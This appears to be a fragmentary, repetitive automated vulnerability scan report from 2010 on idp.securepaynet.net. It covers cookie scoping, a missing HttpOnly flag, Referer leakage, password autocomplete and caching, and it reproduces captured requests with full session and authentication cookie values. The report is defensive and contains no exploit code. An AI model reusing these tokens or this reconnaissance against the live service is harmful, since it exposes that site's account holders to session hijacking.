HTTP/1.1 200 OK Connection: close Date: Sun, 17 Oct 2010 02:17:19 GMT Server: Microsoft-IIS/6.0 P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: traffic=; domain=securepaynet.net; path=/ Set-Cookie: traffic=; domain=securepaynet.net; path=/ Set-Cookie: traffic=; domain=securepaynet.net; path=/ Set-Cookie: traffic=; domain=securepaynet.net; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 90091
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The form contains the following password field with autocomplete enabled:
password
Request
GET /retrieveaccount.aspx?ci=9107&prog_id=459469&spkey=SPSWNET-CORPWEB146 HTTP/1.1 Host: idp.securepaynet.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: pathway=fe53fb05-6e10-4a9b-8ff7-f6834f8ce421; ShopperId459469=heugmhmcghxjjelajfwescyhqiaiogpi; flag459469=cflag=us; SiteWidth459469=1000; visitor=vid=912e4373-434f-44e5-a0d8-78ac9ee0d1b9; actioncount=; app_pathway=; currencypopin459469=cdisplaypopin=false; MemAuthId459469=saibgfjjvbyiliteqdxgofzbubgfragewjqjcfgbxhlgchtdpbagdfbemhmczfnjbjwajbmdjhmajapaudpgxhqaqaagjffc; traffic=; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pagecount=5; adc459469=US; gdMyaHubble459469=ShopperID=ndajlezeqffijgweghfdwajhnjtgoiza&Hubble=True; ASP.NET_SessionId=pulmc5fukzzm5l452r4onbu4; MemShopperId459469=potableSourceStr=heugmhmcghxjjelajfwescyhqiaiogpi; currency459469=potableSourceStr=USD;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 17 Oct 2010 02:17:20 GMT Server: Microsoft-IIS/6.0 P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: traffic=; domain=securepaynet.net; path=/ Set-Cookie: traffic=; domain=securepaynet.net; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 93325
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The form contains the following password field with autocomplete enabled:
password
Request
GET /shopper_new.aspx?ci=10530&prog_id=459469&spkey=SPSWNET-CORPWEB146 HTTP/1.1 Host: idp.securepaynet.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: pathway=fe53fb05-6e10-4a9b-8ff7-f6834f8ce421; ShopperId459469=heugmhmcghxjjelajfwescyhqiaiogpi; flag459469=cflag=us; SiteWidth459469=1000; visitor=vid=912e4373-434f-44e5-a0d8-78ac9ee0d1b9; actioncount=; app_pathway=; currencypopin459469=cdisplaypopin=false; MemAuthId459469=saibgfjjvbyiliteqdxgofzbubgfragewjqjcfgbxhlgchtdpbagdfbemhmczfnjbjwajbmdjhmajapaudpgxhqaqaagjffc; traffic=; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pagecount=5; adc459469=US; gdMyaHubble459469=ShopperID=ndajlezeqffijgweghfdwajhnjtgoiza&Hubble=True; ASP.NET_SessionId=pulmc5fukzzm5l452r4onbu4; MemShopperId459469=potableSourceStr=heugmhmcghxjjelajfwescyhqiaiogpi; currency459469=potableSourceStr=USD;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 17 Oct 2010 02:17:17 GMT Server: Microsoft-IIS/6.0 P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: traffic=; domain=securepaynet.net; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 164901
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The form contains the following password fields with autocomplete enabled:
shopper_password
shopper_password2
Request
GET /shopper_new.aspx?ci=10530&prog_id=459469&spkey=SPSWNET-CORPWEB146 HTTP/1.1 Host: idp.securepaynet.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: pathway=fe53fb05-6e10-4a9b-8ff7-f6834f8ce421; ShopperId459469=heugmhmcghxjjelajfwescyhqiaiogpi; flag459469=cflag=us; SiteWidth459469=1000; visitor=vid=912e4373-434f-44e5-a0d8-78ac9ee0d1b9; actioncount=; app_pathway=; currencypopin459469=cdisplaypopin=false; MemAuthId459469=saibgfjjvbyiliteqdxgofzbubgfragewjqjcfgbxhlgchtdpbagdfbemhmczfnjbjwajbmdjhmajapaudpgxhqaqaagjffc; traffic=; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pagecount=5; adc459469=US; gdMyaHubble459469=ShopperID=ndajlezeqffijgweghfdwajhnjtgoiza&Hubble=True; ASP.NET_SessionId=pulmc5fukzzm5l452r4onbu4; MemShopperId459469=potableSourceStr=heugmhmcghxjjelajfwescyhqiaiogpi; currency459469=potableSourceStr=USD;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 17 Oct 2010 02:17:17 GMT Server: Microsoft-IIS/6.0 P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: traffic=; domain=securepaynet.net; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 164901
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Issue background
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
HTTP/1.1 302 Found Date: Sat, 16 Oct 2010 19:17:02 GMT Server: Microsoft-IIS/6.0 P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Location: https://mya.securepaynet.net/login_redirect.aspx?artifact=tVvNkxmgbyZqBQzZnasjCfUytxxxvqsS&ci=9106&prog_id=459469& Set-Cookie: ASP.NET_SessionId=pulmc5fukzzm5l452r4onbu4; path=/; HttpOnly Set-Cookie: traffic=; domain=securepaynet.net; path=/ Set-Cookie: traffic=; domain=securepaynet.net; path=/ Set-Cookie: gdMyaHubble459469=ShopperID=ndajlezeqffijgweghfdwajhnjtgoiza&Hubble=True; domain=securepaynet.net; expires=Sun, 16-Oct-2011 19:17:02 GMT; path=/ Set-Cookie: MemAuthId459469=saibgfjjvbyiliteqdxgofzbubgfragewjqjcfgbxhlgchtdpbagdfbemhmczfnjbjwajbmdjhmajapaudpgxhqaqaagjffc; domain=securepaynet.net; path=/ Set-Cookie: ShopperId459469=heugmhmcghxjjelajfwescyhqiaiogpi; domain=securepaynet.net; expires=Fri, 16-Oct-2020 19:17:02 GMT; path=/ Set-Cookie: MemShopperId459469=potableSourceStr=heugmhmcghxjjelajfwescyhqiaiogpi; domain=securepaynet.net; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 243
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="https://mya.securepaynet.net/login_redirect.aspx?artifact=tVvNkxmgbyZqBQzZnasjCfUytxxxvqsS&ci=9106&prog_id=45 ...[SNIP]...
6. Cross-domain Referer leakagepreviousnext There are 3 instances of this issue:
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
GET /login.aspx?ci=9106&prog_id=459469&spkey=SPSWNET-CORPWEB146 HTTP/1.1 Host: idp.securepaynet.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: pathway=fe53fb05-6e10-4a9b-8ff7-f6834f8ce421; ShopperId459469=heugmhmcghxjjelajfwescyhqiaiogpi; flag459469=cflag=us; SiteWidth459469=1000; visitor=vid=912e4373-434f-44e5-a0d8-78ac9ee0d1b9; actioncount=; app_pathway=; currencypopin459469=cdisplaypopin=false; MemAuthId459469=saibgfjjvbyiliteqdxgofzbubgfragewjqjcfgbxhlgchtdpbagdfbemhmczfnjbjwajbmdjhmajapaudpgxhqaqaagjffc; traffic=; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pagecount=5; adc459469=US; gdMyaHubble459469=ShopperID=ndajlezeqffijgweghfdwajhnjtgoiza&Hubble=True; ASP.NET_SessionId=pulmc5fukzzm5l452r4onbu4; MemShopperId459469=potableSourceStr=heugmhmcghxjjelajfwescyhqiaiogpi; currency459469=potableSourceStr=USD;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 17 Oct 2010 02:17:19 GMT Server: Microsoft-IIS/6.0 P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: traffic=; domain=securepaynet.net; path=/ Set-Cookie: traffic=; domain=securepaynet.net; path=/ Set-Cookie: traffic=; domain=securepaynet.net; path=/ Set-Cookie: traffic=; domain=securepaynet.net; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 90091
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /retrieveaccount.aspx?ci=9107&prog_id=459469&spkey=SPSWNET-CORPWEB146 HTTP/1.1 Host: idp.securepaynet.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: pathway=fe53fb05-6e10-4a9b-8ff7-f6834f8ce421; ShopperId459469=heugmhmcghxjjelajfwescyhqiaiogpi; flag459469=cflag=us; SiteWidth459469=1000; visitor=vid=912e4373-434f-44e5-a0d8-78ac9ee0d1b9; actioncount=; app_pathway=; currencypopin459469=cdisplaypopin=false; MemAuthId459469=saibgfjjvbyiliteqdxgofzbubgfragewjqjcfgbxhlgchtdpbagdfbemhmczfnjbjwajbmdjhmajapaudpgxhqaqaagjffc; traffic=; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pagecount=5; adc459469=US; gdMyaHubble459469=ShopperID=ndajlezeqffijgweghfdwajhnjtgoiza&Hubble=True; ASP.NET_SessionId=pulmc5fukzzm5l452r4onbu4; MemShopperId459469=potableSourceStr=heugmhmcghxjjelajfwescyhqiaiogpi; currency459469=potableSourceStr=USD;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 17 Oct 2010 02:17:20 GMT Server: Microsoft-IIS/6.0 P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: traffic=; domain=securepaynet.net; path=/ Set-Cookie: traffic=; domain=securepaynet.net; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 93325
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /shopper_new.aspx?ci=10530&prog_id=459469&spkey=SPSWNET-CORPWEB146 HTTP/1.1 Host: idp.securepaynet.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: pathway=fe53fb05-6e10-4a9b-8ff7-f6834f8ce421; ShopperId459469=heugmhmcghxjjelajfwescyhqiaiogpi; flag459469=cflag=us; SiteWidth459469=1000; visitor=vid=912e4373-434f-44e5-a0d8-78ac9ee0d1b9; actioncount=; app_pathway=; currencypopin459469=cdisplaypopin=false; MemAuthId459469=saibgfjjvbyiliteqdxgofzbubgfragewjqjcfgbxhlgchtdpbagdfbemhmczfnjbjwajbmdjhmajapaudpgxhqaqaagjffc; traffic=; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pagecount=5; adc459469=US; gdMyaHubble459469=ShopperID=ndajlezeqffijgweghfdwajhnjtgoiza&Hubble=True; ASP.NET_SessionId=pulmc5fukzzm5l452r4onbu4; MemShopperId459469=potableSourceStr=heugmhmcghxjjelajfwescyhqiaiogpi; currency459469=potableSourceStr=USD;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 17 Oct 2010 02:17:17 GMT Server: Microsoft-IIS/6.0 P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: traffic=; domain=securepaynet.net; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 164901
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
GET /login.aspx?ci=9106&prog_id=459469&spkey=SPSWNET-CORPWEB146 HTTP/1.1 Host: idp.securepaynet.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: pathway=fe53fb05-6e10-4a9b-8ff7-f6834f8ce421; ShopperId459469=heugmhmcghxjjelajfwescyhqiaiogpi; flag459469=cflag=us; SiteWidth459469=1000; visitor=vid=912e4373-434f-44e5-a0d8-78ac9ee0d1b9; actioncount=; app_pathway=; currencypopin459469=cdisplaypopin=false; MemAuthId459469=saibgfjjvbyiliteqdxgofzbubgfragewjqjcfgbxhlgchtdpbagdfbemhmczfnjbjwajbmdjhmajapaudpgxhqaqaagjffc; traffic=; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pagecount=5; adc459469=US; gdMyaHubble459469=ShopperID=ndajlezeqffijgweghfdwajhnjtgoiza&Hubble=True; ASP.NET_SessionId=pulmc5fukzzm5l452r4onbu4; MemShopperId459469=potableSourceStr=heugmhmcghxjjelajfwescyhqiaiogpi; currency459469=potableSourceStr=USD;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 17 Oct 2010 02:17:19 GMT Server: Microsoft-IIS/6.0 P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: traffic=; domain=securepaynet.net; path=/ Set-Cookie: traffic=; domain=securepaynet.net; path=/ Set-Cookie: traffic=; domain=securepaynet.net; path=/ Set-Cookie: traffic=; domain=securepaynet.net; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 90091
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /retrieveaccount.aspx?ci=9107&prog_id=459469&spkey=SPSWNET-CORPWEB146 HTTP/1.1 Host: idp.securepaynet.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: pathway=fe53fb05-6e10-4a9b-8ff7-f6834f8ce421; ShopperId459469=heugmhmcghxjjelajfwescyhqiaiogpi; flag459469=cflag=us; SiteWidth459469=1000; visitor=vid=912e4373-434f-44e5-a0d8-78ac9ee0d1b9; actioncount=; app_pathway=; currencypopin459469=cdisplaypopin=false; MemAuthId459469=saibgfjjvbyiliteqdxgofzbubgfragewjqjcfgbxhlgchtdpbagdfbemhmczfnjbjwajbmdjhmajapaudpgxhqaqaagjffc; traffic=; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pagecount=5; adc459469=US; gdMyaHubble459469=ShopperID=ndajlezeqffijgweghfdwajhnjtgoiza&Hubble=True; ASP.NET_SessionId=pulmc5fukzzm5l452r4onbu4; MemShopperId459469=potableSourceStr=heugmhmcghxjjelajfwescyhqiaiogpi; currency459469=potableSourceStr=USD;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 17 Oct 2010 02:17:20 GMT Server: Microsoft-IIS/6.0 P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: traffic=; domain=securepaynet.net; path=/ Set-Cookie: traffic=; domain=securepaynet.net; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 93325
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /shopper_new.aspx?ci=10530&prog_id=459469&spkey=SPSWNET-CORPWEB146 HTTP/1.1 Host: idp.securepaynet.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: pathway=fe53fb05-6e10-4a9b-8ff7-f6834f8ce421; ShopperId459469=heugmhmcghxjjelajfwescyhqiaiogpi; flag459469=cflag=us; SiteWidth459469=1000; visitor=vid=912e4373-434f-44e5-a0d8-78ac9ee0d1b9; actioncount=; app_pathway=; currencypopin459469=cdisplaypopin=false; MemAuthId459469=saibgfjjvbyiliteqdxgofzbubgfragewjqjcfgbxhlgchtdpbagdfbemhmczfnjbjwajbmdjhmajapaudpgxhqaqaagjffc; traffic=; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pagecount=5; adc459469=US; gdMyaHubble459469=ShopperID=ndajlezeqffijgweghfdwajhnjtgoiza&Hubble=True; ASP.NET_SessionId=pulmc5fukzzm5l452r4onbu4; MemShopperId459469=potableSourceStr=heugmhmcghxjjelajfwescyhqiaiogpi; currency459469=potableSourceStr=USD;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 17 Oct 2010 02:17:17 GMT Server: Microsoft-IIS/6.0 P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: traffic=; domain=securepaynet.net; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 164901
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
HTTP/1.1 302 Found Date: Sat, 16 Oct 2010 19:17:02 GMT Server: Microsoft-IIS/6.0 P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Location: https://mya.securepaynet.net/login_redirect.aspx?artifact=tVvNkxmgbyZqBQzZnasjCfUytxxxvqsS&ci=9106&prog_id=459469& Set-Cookie: ASP.NET_SessionId=pulmc5fukzzm5l452r4onbu4; path=/; HttpOnly Set-Cookie: traffic=; domain=securepaynet.net; path=/ Set-Cookie: traffic=; domain=securepaynet.net; path=/ Set-Cookie: gdMyaHubble459469=ShopperID=ndajlezeqffijgweghfdwajhnjtgoiza&Hubble=True; domain=securepaynet.net; expires=Sun, 16-Oct-2011 19:17:02 GMT; path=/ Set-Cookie: MemAuthId459469=saibgfjjvbyiliteqdxgofzbubgfragewjqjcfgbxhlgchtdpbagdfbemhmczfnjbjwajbmdjhmajapaudpgxhqaqaagjffc; domain=securepaynet.net; path=/ Set-Cookie: ShopperId459469=heugmhmcghxjjelajfwescyhqiaiogpi; domain=securepaynet.net; expires=Fri, 16-Oct-2020 19:17:02 GMT; path=/ Set-Cookie: MemShopperId459469=potableSourceStr=heugmhmcghxjjelajfwescyhqiaiogpi; domain=securepaynet.net; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 243
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="https://mya.securepaynet.net/login_redirect.aspx?artifact=tVvNkxmgbyZqBQzZnasjCfUytxxxvqsS&ci=9106&prog_id=45 ...[SNIP]...
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.
The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.
Issue remediation
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.
Request
GET /robots.txt HTTP/1.0 Host: idp.securepaynet.net
Response
HTTP/1.1 200 OK Content-Length: 26 Content-Type: text/plain Last-Modified: Tue, 14 Apr 2009 23:01:01 GMT Accept-Ranges: bytes ETag: "598ea5e154bdc91:13a9" Server: Microsoft-IIS/6.0 P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Powered-By: ASP.NET Date: Sun, 17 Oct 2010 02:17:17 GMT Connection: close
User-agent: * Disallow: /
10. Cacheable HTTPS responsepreviousnext There are 4 instances of this issue:
Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.
Issue remediation
The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:
HTTP/1.1 200 OK Date: Sat, 16 Oct 2010 19:17:12 GMT Server: Microsoft-IIS/6.0 P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 140
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html></html>
GET /login.aspx?ci=9106&prog_id=459469&spkey=SPSWNET-CORPWEB146 HTTP/1.1 Host: idp.securepaynet.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: pathway=fe53fb05-6e10-4a9b-8ff7-f6834f8ce421; ShopperId459469=heugmhmcghxjjelajfwescyhqiaiogpi; flag459469=cflag=us; SiteWidth459469=1000; visitor=vid=912e4373-434f-44e5-a0d8-78ac9ee0d1b9; actioncount=; app_pathway=; currencypopin459469=cdisplaypopin=false; MemAuthId459469=saibgfjjvbyiliteqdxgofzbubgfragewjqjcfgbxhlgchtdpbagdfbemhmczfnjbjwajbmdjhmajapaudpgxhqaqaagjffc; traffic=; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pagecount=5; adc459469=US; gdMyaHubble459469=ShopperID=ndajlezeqffijgweghfdwajhnjtgoiza&Hubble=True; ASP.NET_SessionId=pulmc5fukzzm5l452r4onbu4; MemShopperId459469=potableSourceStr=heugmhmcghxjjelajfwescyhqiaiogpi; currency459469=potableSourceStr=USD;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 17 Oct 2010 02:17:19 GMT Server: Microsoft-IIS/6.0 P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: traffic=; domain=securepaynet.net; path=/ Set-Cookie: traffic=; domain=securepaynet.net; path=/ Set-Cookie: traffic=; domain=securepaynet.net; path=/ Set-Cookie: traffic=; domain=securepaynet.net; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 90091
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /retrieveaccount.aspx?ci=9107&prog_id=459469&spkey=SPSWNET-CORPWEB146 HTTP/1.1 Host: idp.securepaynet.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: pathway=fe53fb05-6e10-4a9b-8ff7-f6834f8ce421; ShopperId459469=heugmhmcghxjjelajfwescyhqiaiogpi; flag459469=cflag=us; SiteWidth459469=1000; visitor=vid=912e4373-434f-44e5-a0d8-78ac9ee0d1b9; actioncount=; app_pathway=; currencypopin459469=cdisplaypopin=false; MemAuthId459469=saibgfjjvbyiliteqdxgofzbubgfragewjqjcfgbxhlgchtdpbagdfbemhmczfnjbjwajbmdjhmajapaudpgxhqaqaagjffc; traffic=; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pagecount=5; adc459469=US; gdMyaHubble459469=ShopperID=ndajlezeqffijgweghfdwajhnjtgoiza&Hubble=True; ASP.NET_SessionId=pulmc5fukzzm5l452r4onbu4; MemShopperId459469=potableSourceStr=heugmhmcghxjjelajfwescyhqiaiogpi; currency459469=potableSourceStr=USD;
Response
